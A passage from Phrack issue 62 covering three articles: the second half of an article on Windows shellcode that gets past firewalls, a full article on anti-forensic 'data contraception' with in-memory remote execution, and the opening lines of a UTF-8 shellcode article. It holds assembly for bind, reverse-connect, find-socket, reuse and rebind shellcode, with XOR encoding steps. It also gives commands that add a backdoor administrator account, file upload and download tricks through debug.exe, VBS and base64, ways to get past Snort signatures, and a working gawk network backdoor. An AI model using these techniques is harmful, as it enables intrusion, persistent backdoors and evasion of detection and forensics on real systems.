that will not have an overlapped attribute. Such socket can be use 
directly as a input/output/error stream in CreateProcess() API. This 
eliminates the need to use anonymous pipe to get input/output from a 
process which exist in older shellcode. The size of the shellcode 
shrinks quite a bit using this technique. It was first introduced by 
David Litchfield. You can find many of Bind too port shellcode in 
Packetstorm Security by debugging shellcode of these exploits:

*	slxploit.c
*	aspcode.c
*	aspx_brute.c

--[ 3.a.1 Bind to port shellcode implementation

	mov	ebx,eax 
	mov	word ptr [ebp],2
	mov	word ptr [ebp+2],5000h 		;port
	mov	dword ptr [ebp+4], 0 		;IP
	push	10h  
	push	ebp  
	push	ebx  
	call	dword ptr [edi-12] 		;bind
	inc	eax
	push	eax		
	push	ebx
	call	dword ptr [edi-8] 		;listen (soc, 1)
	push	eax
	push	eax
	push	ebx
	call	dword ptr [edi-4] 		;accept

Compiling bind.asm will create shellcode (435 bytes) that will work 
with any service pack. We will test the bind to port shellcode using 
a simple testing program - testskode.cpp. Copy the shellcode (in C 
string) generated the xor program and parse it into testskode.cpp:

BYTE shellcode[436] = ""
// this is the bind port of the shellcode
	*(unsigned short *)&shellcode[0x134] = htons(1212) ^ 0x0000;

	void *ma = malloc(10000);

		mov	eax,ma
		int 3
        		jmp    eax

Compile and running testskode.cpp will result in a break point just 
before we jump to the shellcode. If we let the process continue, it 
will bind to port 1212 and ready to accept connection. Using netcat, 
we can connect to port 1212 to get a shell.

--[ 3.a.2 Problem with bind to port shellcode

Using proof of concept exploit with bind to port shellcode against 
server in organization with firewall usually will not work. Even 
though we successfully exploited the vulnerability and our shellcode 
executed, we will have difficulties connecting to the bind port. 
Usually, firewall will allow connection to popular services like port 
25, 53, 80, etc. But usually these ports are already in used by other 
applications. Sometimes the firewall rules just did not open these 
ports. We have to assume that the firewall block every port, expect 
for the port number of the vulnerable service.

--[ 3.b Reverse connect shellcode 

To overcome the limitation of bind to port shellcode, many exploits 
prefer to use reverse connection shellcode. Instead of binding to a 
port waiting for connection, the shellcode simply connect to a 
predefined IP and port number to drop it a shell.

We must include our IP and port number which the target must connect 
to give a shell in the shellcode. We also must run netcat or anything 
similar in advance, ready to accept connection. Of cause, we must be 
using IP address which the victim machine is reachable. Thus, usually 
we use public IP.

The following APIs are needed to setup this type of connection:

*	WSASocket()
*	connect()

You can find many of these examples in Packetstorm Security by 
debugging shellcode of these exploits:

*	jill.c
*	iis5asp_exp.c
*	sqludp.c
*	iis5htr_exp.c

--[ 3.b.1 Reverse connect shellcode implementation

push	eax  
push	eax  
push	eax  
push	eax  
inc	eax  
push	eax  
inc	eax  
push	eax  
call	dword ptr [edi-8] 	;WSASocketA 
mov	ebx,eax 
mov	word ptr [ebp],2
mov	word ptr [ebp+2],5000h	;port in network byte order
mov	dword ptr [ebp+4], 2901a8c0h ;IP in network byte order
push	10h  
push	ebp  
push	ebx  
call	dword ptr [edi-4] ;connect

Compiling reverse.asm will create shellcode (384 bytes) that will 
work with any service pack. We will use this shellcode in our 
JRun/ColdFusion exploit. However there is still one problem. This 
exploit will not accept NULL character. We need to encode our 
shellcode with an XOR shield. We can use the xor.cpp to encode our 
shellcode using its third parameter.

First, let's compile reverse.asm:

# \tasm\bin\tasm -l reverse.asm

Then, hex-edit reverse.obj to get our shellcode. Refer to bind to 
port shellcode on how to do it. Now, use xor.cpp to print the 

# xor reverse.obj
BYTE shellcode[384] = ""

The first 36 bytes of the shellcode is our decoder. It has been 
carefully crafted to avoid NULL. We keep this part of the shellcode. 
Then, we run xor.cpp again with an extra parameter to xor the code 
with 0x96.

# xor reverse.obj 96
BYTE shellcode[384] = ""

We take bytes sequence from the 37th bytes onwards. Combine the 
encoder and the xored shellcode, we will get the actual shellcode 
that we can use in our exploit.

BYTE shellcode[384] = ""

We can use the following statements in our exploit to change the IP 
and port to our machine which has netcat listening for a shell.
*(unsigned int *)&reverse[0x12f] = resolve(argv[1]) ^ 0x96969696;
*(unsigned short *)&reverse[0x12a] = htons(atoi(argv[2])) ^ 0x9696;

The JRun/ColdFusion exploit is attached in the Code section 
( The exploit uses Reverse connect shellcode.

--[ 3.b.2 Problem with reverse connect shellcode

It is not unusual to find server which has been configure to block 
out going connection. Firewall usually blocks all outgoing connection 
from DMZ.

--[ 4 One-Way shellcode

With the assumption that firewall has been configured with the 
following rules:

*	Blocks all ports except for listening ports of the services
*	Blocks all outgoing connections from server

Is there any way to control the server remotely? In some case, it is 
possible to use existing resources in the vulnerable service to 
establish the control. For example, it may be possible to hook 
certain functions in the vulnerable service so that it will take over 
socket connection or anything similar. The new function may check any 
network packet for a specific signature. If there is, it may execute 
command that attached along with the network packet. Otherwise, the 
packet passes to the original function. We can then connect to the 
vulnerable service with our signature to trigger a command execution. 
As early as in 2001, Code Red worm uses some sort of function hooking 
to deface web site 

Another alternative will be to use resources that available from the 
vulnerable service. It is also possible to patch the vulnerable 
service to cripple the authentication procedure. This will be useful 
for services like database, telnet, ftp, SSH and alike. In the case 
of Web server, it is possible to create PHP/ASP/CGI pages in the web 
root that will allow remote command execution via web pages. The 
shellcode in the following link create an ASP page, as implemented by 
Mikey (Michael Hendrickx):

Code Red 2 worm also has a very interesting method to create a 
backdoor of an IIS server. It creates a virtual path to drive C: and 
D: of the server to the web root. Using these virtual paths, attacker 
can execute cmd.exe which will then allow remote command execution:

However, these implementations are specific to the service we are 
exploiting. We hope to find a generic mechanism to bypass the 
firewall rules so that we can easily reuse our shellcode. With the 
assumption that the only way to interact with the server is through 
the port of the vulnerable service, we call these shellcode, One-way 

*	Find socket
*	Reuse address socket
*	Rebind socket

--[ 4.a Find socket shellcode

This method was documented in LSD's paper on Unix shellcode 
( Although the code is for Unix, 
we can use the same technique in the Windows world. The idea is to 
locate the existing connection that the attacker was using during the 
attack and use that connection for communication.

Most WinSock API requires only the socket descriptor for its 
operation. So, we need to find this descriptor. In our implementation, 
we loop from 0x80 onwards. This number is chosen because socket 
descriptors below 0x80 are usually not relevant to our network 
connection. In our experience, using socket descriptor below 0x80 in 
WinSock API sometimes crash our shellcode due to lack of Stack space.

We will get the destination port of the network connection for each 
socket descriptor. It is compared with a known value. We hard coded 
this value in our shellcode. If there is a match, we found our 
connection. However, socket may not be a non-overlapping socket. 
Depending on the program that created the socket, there is 
possibility that the socket we found is an overlapping socket. If 
this is the case, we cannot use it directly as in/out/err handler in 
CreateProcess(). To get an interaction communication from this type 
of socket, we can anonymous pipe. Description on using anonymous pipe 
in shellcode can be found in article by Dark Spyrit 
( and LSD (http://lsd-

xor	ebx,ebx
	mov	bl,80h
	inc	ebx
	mov	dword ptr [ebp],10h
	lea	eax,[ebp]
	push	eax
	lea	eax,[ebp+4]
	push	eax
 	push	ebx	 			;socket
	call	dword ptr [edi-4]		;getpeername
	cmp	word ptr [ebp+6],1234h		;myport
	jne	find
	push	ebx				;socket

Find socket shellcode work by comparing the destination port of the 
socket with a known port number. Thus, attacker must obtain this port 
number first before sending the shellcode. It can be easily done by 
calling getsockname() on a connected socket.

It is important to note that this type of shellcode should be use in 
an environment where the attacker is not in a private IP. If you are 
in a private IP, your Firewall NATing will create a new connection to 
the victim machine during your attack. That connection will have a 
different source port that what you obtain in your machine. Thus, 
your shellcode will never be able to find the actually connection.

Find socket implementation can be found in findsock.asm in the Code 
section. There is also a sample usage of find socket shellcode in, an exploit for MS SQL discovered Dave Aitel.

--[ 4.a.1 Problem with Find socket shellcode

Find socket could be perfect, but in some case, socket descriptor of 
the attacking connection is no longer available. It is possible that 
the socket might already been closed before it reach the vulnerable 
code. In some case, the buffer overflow might be in another process 

--[ 4.b Reuse address shellcode

Since we fail to find the socket descriptor of our connection in a 
vulnerability that we are exploiting, we need to find another way. In 
the worst scenario, the firewall allows incoming connection only to 
one port; the port which the vulnerable service is using. So, if we 
can somehow create a bind to port shellcode that actually bind to the 
port number of the vulnerable service, we can get a shell by 
connecting to the same port.

Normally, we will not be able to bind to a port which already been 
used. However, if we set our socket option to SO_REUSEADDR, it is 
possible bind our shellcode to the same port of the vulnerable 
service. Moreover, most applications simply bind a port to INADDR_ANY 
interface, including IIS. If we know the IP address of the server, we 
can even specify the IP address during bind() so that we can bind our 
shellcode in front of vulnerable service. Binding it to a specific IP 
allow us to get the connection first.

Once this is done, we just need to connect to the port number of the 
vulnerable service to get a shell. It is also interesting to note 
that Win32 allow any user to connect to port below 1024. Thus, we can 
use this method even if we get IUSR or IWAM account.

If we don't know the IP address of the server (may be it is using 
port forwarding to an internal IP), we still can bind the process to 
INADDR_ANY. However, this means we will have 2 processes excepting 
connection from the same port on the same interface. In our 
experience, we may need to connect a few times to get a shell. This 
is because the other process could occasionally get the connection.

API needed to create a reuse address shellcode:

*	WSASocketA()
*	setsockopt()
*	bind()
*	listen()
*	accept()

--[ 4.b.1 Reuse address shellcode implementation

mov	word ptr [ebp],2
push	4
push	ebp
push	4				;SO_REUSEADDR
push	0ffffh
push	ebx
call	dword ptr [edi-20] 	;setsockopt 
mov	word ptr [ebp+2],5000h 	;port
mov	dword ptr [ebp+4], 0h 	;IP, can be 0
push	10h  
push	ebp  
push	ebx  
call	dword ptr [edi-12] 	;bind

Reuse address shellcode implementation is in reuse.asm (434 bytes) in 
the Code section. Same usage of this type of shellcode is implemented 
in reusewb.c exploit. This exploit is using the NTDLL (WebDav) 
vulnerability on IIS Web server.

--[ 4.b.2 Problem with reuse address shellcode

Some applications use SO_EXCLUSIVEADDRUSE, thus reusing the address 
is not possible. 

--[ 4.c Rebind socket shellcode

It is not unusual to find application that actually uses SO_ 
EXCLUSIVEADDRUSE option to prevent us to reuse its address. So, our 
research did not stop there. We feel that there is a need to create a 
better shellcode. Assuming that we have same restriction we have as 
before. The only way to connect to the vulnerable machine is via the 
port of the vulnerable service. Instead of sharing the port 
gracefully as reuse address socket shellcode, we can take over the 
port number entirely.

If we can terminate the vulnerable service, we can bind our shell 
into the very same port that was previously used by the vulnerable 
service. If we can achieve that, the next connection to this port 
will yield a shell.

However, our shellcode is usually running as part of the vulnerable 
service. Terminating the vulnerable service will terminate our 

To get around with this, we need to fork our shellcode into a new 
process. The new process will bind to a specific port as soon as it 
is available. The vulnerable service will be forcefully terminated.

Forking is not as simple as in Unix world. Fortunately, LSD has done 
all the hard work for us ( 
It is done in the following manner as implemented by LSD:

1.	Call CreateProcess() API to create a new process. We must 
	supply a filename to this API. It doesn't matter which file, as 
	long as it exist in the system. However, if we choose name like 
	IExplore, we might be able to bypass even personal firewall. We 
	also must create the process in Suspend Mode.
2.	Call GetThreadContext() to retrieve the environment of the 
	suspended process. This call allows us to retrieve various 
	information, including CPU registry of the suspended process.
3.	Use VirtualAllocEx() to create enough buffer for our shellcode 
	in the suspended process.
4.	Call WriteProcessMemory() to copy our shellcode from the 
	vulnerable service to the new buffer in the suspended process.
5.	Use SetThreadContext() to replace EIP with memory address of 
	the new buffer.
6.	ResumeThread() will resume the suspended thread. When the 
	thread starts, it will point directly to the new buffer which 
	contains our shellcode.

The new shellcode in the separate process will loop constantly trying 
to bind to port of the vulnerable service. However, until we 
successfully terminate the vulnerable machine it will not be able to 

Back in our original shellcode, we will execute TerminateProcess() to 
forcefully terminate the vulnerable service. TerminateProcess() take 
two parameters, the Process handle to be terminated and the return 
value. Since we are terminating the current process, we can just pass 
-1 as the Process Handle.

As soon as the vulnerable service terminated, our shellcode in a 
separate process will be able to bind successfully to the specific 
port number. It will continue to bind a shell to that port and 
waiting for connection. To connect to this shell, we just need to 
connect to the target machine on the port number of the vulnerable 

It is possible to improve the shellcode further by checking source 
port number of IP before allowing a shell. Otherwise, anyone 
connecting to that port immediately after your attack will obtain the 

--[ 4.c.1 Rebind socket shellcode implementation

Rebind socket shellcode is implemented in rebind.asm in the Code 
section. We need to use a lot of APIs in this shellcode. Loading 
these APIs by name will make our shellcode much bigger than it should 
be. Thus, the rebind socket shellcode is using another method to 
locate the APIs that we need. Instead of comparing the API by its 
name, we can compare by its fingerprint/hash. We generate a 
fingerprint for each API name we want to use and store it in our 
shellcode. Thus, we only need to store 4 bytes (size of the 
fingerprint) for each API. During shellcode execution, we will 
calculate the fingerprint of API name in the Export Table and compare 
it with our value. If there is a match, we found the API we need. The 
function that loads an API address by its fingerprint in rebind.asm 
was ripped from HD Moore's MetaSploit Framework 

A sample usage of a rebind socket shellcode can be found rebindwb.c 
and lengmui.c in the Code section. Rebindwb.c is an exploit modified 
from the previous WebDAV exploit that make use of Rebind shellcode. 
It will attack IIS, kill it and take over its port. Connecting to 
port 80 after the exploit will grant the attacker a shell.

The other exploit, lengmui.c is MSSQL Resolution bug, it attack UDP 
1434, kill MSSQL server, bind itself to TCP 1433. Connection to TCP 
1433 will grant the attacker a shell.

--[ 4.d Other one-way shellcode

There are other creative mechanisms being implemented by Security 
Expert in the field. For example, Brett Moore's 91 bytes shellcode as 
published in Pen-Test mailing list (
test/2003/Jan/0000.html). It is similar to the Find Socket shellcode, 
only that, instead of actually finding the attacking connection, the 
shellcode create a new process of CMD for every socket descriptor.

Also similar to Find socket shellcode, instead of checking the 
destination port to identify our connection, XFocus's forum has 
discussion on sending additional bytes for verification. Our 
shellcode will read 4 more bytes from every socket descriptor, and if 
the bytes match with our signature, we will bind a CMD shell to that 
connection. It could be implemented as:

*	An exploit send additional bytes as signature ("ey4s") after 
	sending the overflow string
*	The shellcode will set each socket descriptor to non-blocking
*	Shellcode call API recv() to check for "ey4s"
*	If there is a match, spawn CMD
*	Loop if not true

It is also possible to send it with "MSG_OOB" flag. As implemented by 
san _at_ xfocus d0t org.

Yet, another possibility is to implement shellcode that execute 
command that attached in the shellcode it self. There is no need to 
create network connection. The shellcode just execute the command and 
die. We can append our command as part of the shellcode and execute 
CreateProcess() API. A sample implementation can be found on dcomx.c 
in the Code section. For example, we can use the following command to 
add a remote administrator to a machine which is vulnerable to RPC-
DCOM bug as discovered by LSD.

# dcomx "cmd /c net user /add compaquser compaqpass"
# dcomx "cmd /c net localgroup /add administrators compaquser"

--[ 5 Transferring file using shellcode

One of the most common things to do after you break into a box is to 
upload or download files. We usually download files from our target 
as proof of successful penetration testing. We also often upload 
additional tools to the server to use it as an attacking point to 
attack other internal server.

In the absent of a firewall, we can easily use FTP or TFTP tools 
found in standard Windows installation to get the job done:

*	ftp -s:script
*	tftp -i myserver GET file.exe

However, in a situation where there is no other way to go in and out, 
we can still transfer file using the shell we obtain from our One-way 
shellcode. It is possible to reconstruct a binary file by using the 
debug.exe command available in almost every Windows.

--[ 5.a Uploading file with debug.exe

We can create text file in our target system using the echo command. 
But we can't use echo to create binary file, not with the help from 
debug.exe. It is possible to reconstructing binary using debug.exe. 
Consider the following commands:

C:\>echo a>>b.s
C:\>echo dw07B8 CD0E C310>>b.s
C:\>echo R CX>>b.s
C:\>echo 6 >>b.s
C:\>echo W>>b.s
C:\>echo Q>>b.s

The echo command will construct a debug script which contains 
necessary instructions code in hex value to create a simple binary 
file. The last command will feed the script into debug.exe, which 
will eventually generate our binary file.

However, we cannot construct a binary file larger than 64k. This is 
the limitation of the debug.exe itself.

--[ 6.b Uploading file with VBS

Thus, a better idea to upload a binary file is to use Visual Basic 
Script. VBS interpreter (cscript.exe) available by default in almost 
all Windows platform. This is our strategy:
1.	Create a VBS script that will read hex code from a file and 
	rewrite it as binary.
2.	Upload the script to target using "echo" command.
3.	Read file to be uploaded, and "echo" the hex code to a file in 
	the target server.
4.	Run the VBS script to translate hex code to binary.

A sample script like below can be use to read any binary file and 
create the correspondence ASC printable hex code file.

dread: while (1){
	$nread2 = sysread(INFO, $disbuf, 100);
	last dread if $nread2 == 0;
	@bytes = unpack "C*", $disbuf;
	foreach $dab (@bytes){
		$txt .= sprintf "%02x", $dab;
	$to .= "echo $txt >>outhex.txt\n";
	if ($nnn > 100) {
		print SOCKET $to;
		print ".";
	$txt = "";

Then, we create our VBS decoder in the target machine - "tobin.vbs". 
We can easily use "echo" command to create this file in the target 
machine. This decoder will read the outhex.txt created above and 
construct the binary file.

Set arr = WScript.Arguments 
Set wsf = CreateObject("Scripting.FileSystemObject") 
Set infile = wsf.opentextfile(arr(arr.Count-2), 1, TRUE) 
Set file = wsf.opentextfile(arr(arr.Count-1), 2, TRUE) 
do while infile.AtEndOfStream = false 
	line = infile.ReadLine 
       For x = 1 To Len(line)-2 Step 2 
			thebyte = Chr(38) & "H" & Mid(line, x, 2) 
			file.write Chr(thebyte) 

Once the decoder is in the target machine, we just need to execute it 
to convert the Hex code into a binary file:

# cscript tobin.vbs outhex.txt out.exe

--[ 5.c Retrieving file from command line

Once we have the ability to upload file to the machine, we can upload 
a Base64 encoder to the target machine. We will use this encoder to 
encode any file into a printable Base64 format. We can easily print 
the output of the Base64 encoded in command line and capture the text. 
Once we have the complete file in Base64, we will save that into a 
file in our machine. Using WinZip or any Base64 decoder, we can 
convert that file back into its binary form. The following command 
allows us to retrieve any file in our target machine:

print SOCKET "base64 -e $file outhex2.txt\n";
print SOCKET "type outhex2.txt\n";
open(RECV, ">$file.b64");
print RECV receive();

Fortunately, all these file upload/downloading can be automated. 
Refer to in the Code section to see file transfer in 

--[ 6 Avoiding IDS detection

Snort rules now have several Attack-Response signatures that will be 
able to detect common output from a Windows CMD shell. Every time we 
start CMD, it will display a banner:

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\sk

There is a Snort rule that capture this banner:

We can easily avoid this by spawning cmd.exe with the parameter of 
"/k" in our shellcode. All we need to do is just to add 3 more bytes 
in our shellcode from "cmd" to "cmd /k". You may also need to add 3 
to the value in the decoder that count the number of byte that we 
need to decode.

There is also another Snort rules that capture a directory listing of 
the "dir" command in a Windows shell:

The rule compares "Volume Serial Number" in any established network 
packet, if there is a match, the rule will trigger an alert.

# dir
 Volume in drive C is Cool
 Volume Serial Number is SKSK-6622

 Directory of C:\Documents and Settings\sk

06/18/2004  06:22 PM    <DIR>          .
06/18/2004  06:22 PM    <DIR>          ..
12/01/2003  01:08 AM                58 ReadMe.txt

To avoid this, we just need to include /b in our dir command. It is 
best if we set this in an environment so that dir will always use 
this argument:

# set DIRCMD=/b
# dir

Snort also has signature that detect "Command completed" in:

This command usually generated by the "net" command. It is easy to 
create a wrapper for the net command that will not display "Command 
completed" status or use other tools like "nbtdump", etc.

--[ 7 Restarting vulnerable service

Most often, after a buffer overflow, the vulnerable service will be 
unstable. Even if we can barely keep it alive, chances are we will 
not be able to attack the service again. Although we can try to fix 
these problem in our shellcode, but the easiest way is to restart the 
vulnerable service via our shell. This usually can be done using "at" 
command to schedule a command that will restart the vulnerable 
service after we exit from our shell.

For example, if our vulnerable service is IIS web server, we can 
reset it using a scheduler:

#at <time> iisreset

In the case of MS SQL Server, we just need to start the 
sqlserveragent service. This is a helper service installed by default 
when you install MS SQL Server. It will constantly monitor and check 
if the SQL Server process is running. If it is not, it will be 
started. Executing the following command in our shell will start this 
service, which in turn, help us to MS SQL Server once we exit. 

#net start sqlserveragent

Another example is on the Workstation service bug discovered by Eeye. 
In this case, we don't have a helper service. But we can kill the 
relevant service, and restart it.

1. Kill the Workstation service
#taskkill /fi "SERVICES eq lanmanworkstation" /f
2. restart required services
#net start workstation
#net start "computer browser"
#net start "Themes" <== optional
#net start "messenger"   <== optional
If we exit our shellcode now, we can attack the machine via the 
Workstation exploit again.

--[ 8 End of shellcode?

Shellcode is simple to use and probably easiest to illustrate the 
severity of a vulnerability in proof of concept code. However there 
are a few more advance payload strategies released to the public by 
LSD's Windows ASM component, Core Security's Syscall Proxy, Dave 
Aitel's MOSDEF, etc. These payloads offer much more than a shell. The 
References section provides a few good pointers to get more 
information. We hope you enjoy reading our article as much as other 
quality article from Phrack.

--[ 9 Greetz!

There are many good fellows we would like to thank for their 
continuous source of information to feed our hunger for knowledge. 
Without these guys, the security field will be boring.

My mentor, my friend: sam, pokleyzz, wanvadder, wyse, socket370 and 
the rest of =da scan clan=, Ey4s, San and all that support XFocus 
team! RD and the rest of THC! The Grugq! Saumil! Sheeraj! Nitesh! 
Caddis from Team-Teso! CK and the rest of SIG^2 team! Sensepost! 
BrightVaio! L33tdawg and the rest of HackInTheBox team!

Greets to the gurus: HD Moore! Halvar! HSJ! Michal, Adam and the rest 
of LSD! (David) Mnemonic! Dave Aitel! EEYE! Brett Moore! And many 
others Blackhat speakers for their excellence research!

--[ 10 References

*       Code to this article:

*	Shellcode and exploit:
	HSJ -

*	More shellcode!
	HD Moore -

*	Advance payload:
	CORE Security 

*	Syscall Proxying (
	02/bh-usa-02-speakers.html#Maximiliano Caceres)

*	Inlineegg 

*	LSD (

*	Eeye (
	speakers.html#Riley Hassel)

*	Dave Aitel (

*	Alexander E. Cuttergo (Impurity)

--[ 11 The code

Please see

|=[ EOF ]=---------------------------------------------------------------=|


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x08 of 0x10

|=-----=[ FIST! FIST! FIST! Its all in the wrist: Remote Exec ]=---------=|
|=--------------------------=[ by grugq ]=------------------------------=|

 1 - Abtract
 2 - Introduction
 3 - Principles
 4 - Background
 5 - Requirements
 6 - Design and Implementation
   6.1 - gdbprpc
   6.2 - ul_exec
 7 - Conclusion
 8 - Greets
 9 - Bibliography
10 - SourceC0de

---[ 1 - Abstract

The infrastructue of anti-forensics is built on the three strategies of
data destruction, data hiding and data contraception. The principles of
data contracteption, and a technique for executing a data contraception
attack are presented. This technique provides the ability to execute a
binary on a remote system without creating a file on the disk.

---[ 2 - Introduction

In the years since the introduction of the first two strategies of
anti-forensics [grugq 2002], there has been little additional public
research on anti-forensics. This paper introduces and discusses a third
core anti-forensics strategy: data contraception. Like the other
anti-forensic strategies, data destruction and data hiding, data
contraception seeks to reduce the quantity and quality of forensic
evidence. Data contraception achieves this by using two core principles:
preventing data from reaching the disk, and using common utilities, rather
than custom tools, wherever possible.

The rest of this paper will explore data contraception, looking first at
the core principles of data contaception, then at the requirements for a
data contraception tool, and finally the design and implemenation of such a
tool: rexec (remote exec).

--[ 3 - Principles

Data contraception is the attempt to limit the quantity and quality of
forensic evidence by keeping forensically valuable, or useful, data off the
disk. To accomplish this there are two core techniques for interacting with
the operating system: firstly, operate purely in memory, and secondly use
common utilities rather than custom crafted tools.

The first principle of data contraception, keeping data off the disk, is
most important when dealing with files that interact directly with the
operating system such as binaries, LKMs and scripts. The second principle
is for guidance when implementing the first principle, and it ensures that
any data which does touch the disk is of limited value to a forensic

Operating in memory only is not a new technique and its already fairly well
understood with regards to rootkit development. However, using in memory
only techniques during a penetration is not as thoroughly documented in the
literature. Within rootkit technologies, the most frequently encountered
technique for operating in memory is to use ptrace() to attach to an
existing process and inject code into it's address space. Additionaly,
injecting kernel modules directly into the kernel is also a well known
technique. This paper will focus on developing in memory systems for
penetration tools.

Implementing an in-memory-only system requires a program on the remote
target host acting as a server to interact with the operating system. This
server acts as either an Inter Userland Device (IUD) -- providing access to its
own address space -- or an Intra Userland Device (IUD) -- providing access to
another address space. In either case, this IUD is critical to the effective
execution of a successful data contracteption attack.

The second principle of data contraception is critical in reducing the
effectiveness of a forensic examination. The use of common utilties means
that nothing of value exists for an analyst to recover. An example would be
a back door written using gawk. Since some version 3.x, GNU Awk has
supported network programming. Why the GNU people added network support to
a text processing tools is something of a mystery, however it is a useful
feature for a data contraception attack. Here is a proof of concept
backdoor developed in a few minutes using gawk.

        #!/usr/bin/gawk -f

        BEGIN {
                Port    =       8080
                Prompt  =       "bkd> "

                Service = "/inet/tcp/" Port "/0/0"
                while (1) {
                        do {
                                printf Prompt |& Service
                                Service |& getline cmd
                                if (cmd) {
                                        while ((cmd |& getline) > 0)
                                                print $0 |& Service
                        } while (cmd != "exit")

To effectively use a script, such as the above, in an attack, the attacker
would employ the first principle of anti-forensics. In practice, this means
the attacker would launch the script interpretor and then copy the script
itself to the interpretor's stdin. This prevents the script from appearing
on the disk where it might be discovered during a forensic analysis.

Using these two core principles of data contraception, the rest of this
paper will examine some existing data contraception tools, along with the
design and implementation of remote exec: rexec.

---[ 4 - Background

There are already several projects which use a data contraception
methodology, although the terminology for data contraception is more recent
than their development. The projects that the author is aware of are:
MOSDEF; Core Impact, and ftrans. The first two projects are commercial
penetration testing tools, the last is an "anti-honeypot" tool. 

Core Impact implements a data contraception techinque called "syscall
proxying". Core Impact uses an exploited process as an IUD (Intra), and a
client which contains the attacker's "business logic". The IUD server
executes system calls for the client and returns the result. This allows
the attacker's code to run locally on the client system, and yet behave as
if it were local to the remote system. According to Dave Aitel, there are
problems with technique, mostly related to execution speed and complexities
involving fork().

As a solution to the problems he experienced implementing the Core Impact
syscall proxying technique, Dave Aitel developed MOSDEF. MOSDEF uses an
exploited process as an IUD (Intra), and a client which contains a
compiler. This allows a penetration tester to build an arbitrary program
on the client and inject it into the address space under the control of the
IUD for execution. In this technique, the attacker's code runs on the
remote host, however it exists only in memory. The problems with this
technique are limitations in the size and complexity of the attacker's
code, and all of the issues related to implementing a compiler.

Unrelated to the previous two penetration testing programs, ftrans is a
pure anti-forensics tool designed to operate in the extremely hostile
forensic environment of a honey pot. The ftrans program uses a custom built
server which uses SSL to copy a binary from the client into it's own
address space. It then uses ul_exec() [grugq 2004] to execute the binary
from a memory buffer. This technique is most similar to what this paper
will discuss, the design and implementation of rexec.

---[ 5 - Requirements

With data contraception, any action which requires the creation of a file
is to be avoided. The most common reason for requiring a file is to execute
a binary. Building a tool which can execute an arbitrary binary on a remote
host leaves open any number of possible implementations. The requirements
need to be narrowed down to a manageable set using the principles of data
contracteption. From those requirements it is then possible to develop a
design and implementation.

Firstly, the tool has to be able to run over any number of shell
connections, so the communications protocol between the client and server
should be ASCII text based. Using ASCII text will mean a slow protocol,
however robustness and effectiveness, rather than speed, are critical to
the performance of the tool in the real world.

Secondly, the IUD server has to be a common Unix utility rather than a
custom crafted tool. That way, the discovery of the server does not
indicate that the compromised machine has been subjected to a data
contracteption attack. Using a common utility rather than writing a custom
tool means that the IUD server will not be intellegent in how it operates.
Based on the preceeding requirements, its clear that the client has to be
complex to compensate for the dumb server. This is acceptable because the
user of a data contraception tool will have complete control over at least
one machine.

---[ 6 - Design and Implementation

The core design for a data contraception tool to execute binaries on a
remote system purely from memory is:

        *) use an IUD to gain access to an address space
        *) upload the binary to execute into memory
        *) load the binary into an address space
        *) transfer control of execution to the binary

A library to load ELF binaries from memory into an existing address space
already exists: ul_exec. Using ul_exec allows the tool to simply upload a
copy of ul_exec and the binary, then transfer control to ul_exec().
Therefore, in order to implement the data contraception tool, all that is
required is a suitable IUD.

A suitable IUD would have to be a common Unix utility which can manipulate
registers and memory and accepts commands as text. There is one obvious
solution: gdb. The GNU debugger uses text commands to interact with, and
operate on, a slave child process.

Using gdb as an IUD allows an attacker to be exploit agnost for
anti-forensic attacks. After using an arbitrary exploit to gain access to a
shell, an attacker is able to execute any binary without creating a
forensic trace. By the same token, once an attacker has shell access to a
host, he is able to execute an artibtrary command without leaving any
evidence of forensic value. An IUD seperate from an exploited process
allows an attacker to use anti-forensic attacks at any point after owning
a box, rather than only during the initial exploitation phase.

--[ 6.1 - gdbprpc

To interface with gdb, a library was written which creates wrappers for the
core functions of an IUD. These are memory and register access, and control
over the execution of various regions of code. This library, gdbrpc,
creates an arbitrary slave child process for an address space to

Each gdbrpc session is described by an abstract object: rgp_t. This object
is created using rgp_init(), which takes a readable and writeable file
descriptor to a pty based shell. The facilities to execute system calls and
examine and set memory contents are encapsulated behind standardised
function calls. For example:

        int rgp_brk(rgp_t *rp, void * end_data_segment);
        void rgp_set_addr32(rgp_t *rp, void *addr, unsigned int val);
        unsigned int rgp_get_addr32(rgp_t *rp, void *addr);
        void rgp_set_reg(rgp_t *rp, rgp_reg reg, unsigned int val);

Copying data into and out of a slave process is accomplished using the

        void rgp_copy_to(rgp_t *rp, void *remote, void *local, size_t n);
        void rgp_copy_from(rgp_t *rp, void *local, void *remote, size_t n);

With the gdbrpc API set, it is trivial to allocate memory in a process,
copy in arbitrary quantities of code and data, and transfer control of

--[ 6.2 - ul_exec

In order for the ul_exec library to be correctly loaded into the address
space it needs to be relocated to the load address. This is done internally
within rexec. First, rexec allocates the space for the library in the
remote address space with rpg_mmap(). The address of that space is then
used to relocate an internally loaded copy of the ul_exec library, and the
resultant relocated library is then loaded remotely.

With the ul_exec library loaded in an address space, all that is required
is creating a memory buffer containing the desired ELF binary. This is
trivially accomplished using rgp_mmap() and rgp_copy_to().

Finally, putting it all together it is possible to encapsulate the entire
process into a single call:

        int rx_execve(int fd, char *fname, int argc, char **argv);

--[ 7 - Conclusion

Along with the other two anti-forensic strategies, data destruction and
data hiding, data contraception helps an attacker reduce the effectiveness
of a forensic analysis. Data contraception attack techniques have been used
frequently in the past, although without the articulation of the formalised
core principlies. These two principles, operating in memory to keep data
off the disk, and using common utilities rather than incriminating custom
crafted tools, form the core of the data contraception strategy. A frequent
component of data contraception attacks is an IUD, which acts as a server
providing the client access to the operating system without altering the
file system.

A tool which implements a data contraception attack, remote exec, uses gdb
as an IUD providing access to a slave process' address space. Accessing rexec
requires a complex client which can gain access to a pty based shell. A tool
to encapsulate the rexec protocol has been developed: xsh. The "eXploit
SHell" is embedded within screen and provides a rich data contraception
environment for penetration time anti forensic attacks.

--[ 8 - Greets

gera, mammon, grendel PhD, xvr, a_p, _dose, "the old man", apach3, random,
joey, mikasoft, eugene.

--[ 9 - Bibliography

- grugq 2002 - The Art of Defiling: Defeating Forensic Analysis on Unix

- grugq 2004 - The Design and Implementation of ul_exec

--[ 10 - SourceC0de

begin 600 rexec-0.8.5.tar.gz

|=[ EOF ]=---------------------------------------------------------------=|


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x00

|=--------------[ Writing UTF-8 compatible shellcodes ]-----------------=|
|=-----------[ Thomas Wana aka. greuff  <> ]--------------=|

1 - Abstract

2 - What is UTF-8?
